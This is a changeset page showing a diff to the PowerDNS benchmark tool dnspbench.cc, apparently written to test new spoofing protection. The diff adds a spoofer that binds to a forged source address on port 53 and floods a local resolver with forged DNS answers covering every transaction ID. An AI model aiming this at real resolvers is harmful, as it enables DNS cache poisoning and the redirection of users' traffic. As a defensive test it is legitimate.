Show
Ignore:
Timestamp:
04/14/06 13:26:50 (7 years ago)
Author:
ahu
Message:

implement stunningly cool spoofing protection, plus spoofer in dnspbench

Files:
1 modified

Legend:

Unmodified
Added
Removed
  • trunk/pdns/pdns/dnspbench.cc

    r680 r699  
    4545  reportAllTypes(); 
    4646 
    47 #if 0 
    4847  Socket s(InterNetwork, Datagram); 
     48   
     49  IPEndpoint rem("127.0.0.1",1232), loc("213.156.2.1", 53); 
     50  s.bind(loc); 
    4951 
    5052  vector<uint8_t> vpacket; 
    51   string domain="www.ds9a.nl"; 
     53  string domain="ds9a.nl"; 
    5254  uint16_t type=1; 
    5355 
    54   for(unsigned int n=0; n < 1000000; ++n) { 
     56  for(unsigned int n=0; n < 65536; ++n) { 
    5557    DNSPacketWriter pw(vpacket, domain, type); 
    5658     
    5759    pw.getHeader()->rd=1; 
     60    pw.getHeader()->qr=1; 
    5861    pw.getHeader()->id=n; 
     62    ARecordContent arc("1.2.3.4"); 
     63    pw.startRecord("ds9a.nl", 1, 9999, 1, DNSPacketWriter::ANSWER); 
     64    arc.toPacket(pw); 
    5965    pw.commit(); 
    60     IPEndpoint rem("127.0.0.1",5300); 
     66 
    6167    string spacket((char*)(&*vpacket.begin()), vpacket.size()); 
    6268    s.sendTo(spacket, rem); 
    6369  } 
    6470 
    65  
    6671  return 0;  
    67 #endif 
     72#if 0 
    6873 
    6974  vector<uint8_t> packet; 
     
    8388  shared_ptr<DNSRecordContent> regen=DNSRecordContent::unserialize(argv[1], type, record); 
    8489  cerr<<"Out: "<<argv[1]<<" IN "<<argv[2]<<" "<<regen->getZoneRepresentation()<<endl; 
     90#endif 
    8591} 
    8692catch(exception& e)